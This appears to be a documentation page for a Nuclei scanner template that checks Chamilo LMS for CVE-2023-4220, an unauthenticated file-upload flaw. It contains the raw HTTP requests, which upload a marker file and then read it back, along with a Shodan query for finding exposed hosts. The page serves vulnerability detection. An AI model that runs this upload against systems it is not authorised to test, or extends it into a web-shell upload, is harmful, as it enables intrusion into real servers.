Skip to content
Nuclei Templates

Chamilo LMS <= 1.11.24 - Remote Code Execution

ID: CVE-2023-4220

Severity: medium

Author: s4e-io

Tags: cve,cve2023,chamilo,lms,rce,intrusive,file-upload

Description

Section titled “Description”

Unrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.

YAML Source

Section titled “YAML Source”
id: CVE-2023-4220


info:
  name: Chamilo LMS <= 1.11.24 - Remote Code Execution
  author: s4e-io
  severity: medium
  description: |
    Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
  reference:
    - https://github.com/Ziad-Sakr/Chamilo-LMS-CVE-2023-4220-Exploit
    - https://github.com/charlesgargasson/CVE-2023-4220
    - https://starlabs.sg/advisories/23/23-4220/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4220
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4220
    cwe-id: CWE-434
    epss-score: 0.00163
    epss-percentile: 0.52876
    cpe: cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: chamilo
    product: chamilo_lms
    shodan-query: "X-Powered-By: Chamilo"
  tags: cve,cve2023,chamilo,lms,rce,intrusive,file-upload


variables:
  filename: "{{rand_base(10)}}"
  num: "{{rand_int(1000, 9999)}}"


http:
  - raw:
      - |
        POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------SwxF5rRaZb4lETWlpulXn3


        --------------------------SwxF5rRaZb4lETWlpulXn3
        Content-Disposition: form-data; name="bigUploadFile"; filename="{{filename}}.txt"
        Content-Type: application/octet-stream


        {{md5(num)}}


        --------------------------SwxF5rRaZb4lETWlpulXn3--


      - |
        GET /main/inc/lib/javascript/bigupload/files/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2,"{{md5(num)}}")'
          - "status_code_1 == 200 && status_code_2 == 200"
        condition: and
# digest: 4a0a004730450221009e59354c633cb287d840f8f14b2dbda289a9c9c761d64d9f00b7f042370c2c1202205bf32c2498cf5d5ca7ab91abe50908e63579618b392e5469c0ffdc8d6beb9662:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-4220.yaml"

View on Github